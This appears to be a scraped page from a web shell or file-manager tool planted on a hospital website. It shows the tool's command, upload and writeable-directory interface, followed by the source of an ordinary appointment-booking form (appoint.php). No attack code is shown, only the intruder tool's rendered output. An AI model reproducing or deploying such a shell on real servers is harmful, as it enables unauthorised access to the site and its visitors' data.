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nadelinn - rinduu

Command :
ikan Uploader :
Directory :  /var/www/html/shardahospital_old.org/application/views/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : /var/www/html/shardahospital_old.org/application/views/appoint.php
<div class="sliderinners">
<div class="container">
	<div class="row">
     
    	<div class="col-md-12">
        	<h2>Book an Appointment</h2>
        </div>
    </div>
</div>
</div>

<div class="appoinform">
<div class="container">
	<div class="row">
    <div class="col-md-3"></div>
    	<div class="col-md-6">
        		
                <div class="form-app">
                	 
                    <label><input type="radio" name="radio"  /> Book Appointment </label>
                    <label><input type="radio" name="radio"  />Book Health Check</label>
                    <label><input type="radio" name="radio"  />Book Second Opinion</label>
                </div>
                
                <div class="form-app">
                	<span>Select State</span>
                    <select>
                    	<option>Select</option>
                    </select>
                </div>
                <div class="form-app">
                	<span>Name</span>
                    <input type="text" />
                </div>
                <div class="form-app">
                	<span>Email</span>
                    <input type="text" />
                </div>
                <div class="form-app">
                	<span>Phone No</span>
                    <input type="text" />
                </div>
                <div class="form-app">
                <a href="#" class="button5">Submit Request <span><i class="bi bi-arrow-right-short"></i></span></a>
                 
                </div>
                
                
        </div>
    </div>
</div>
</div>

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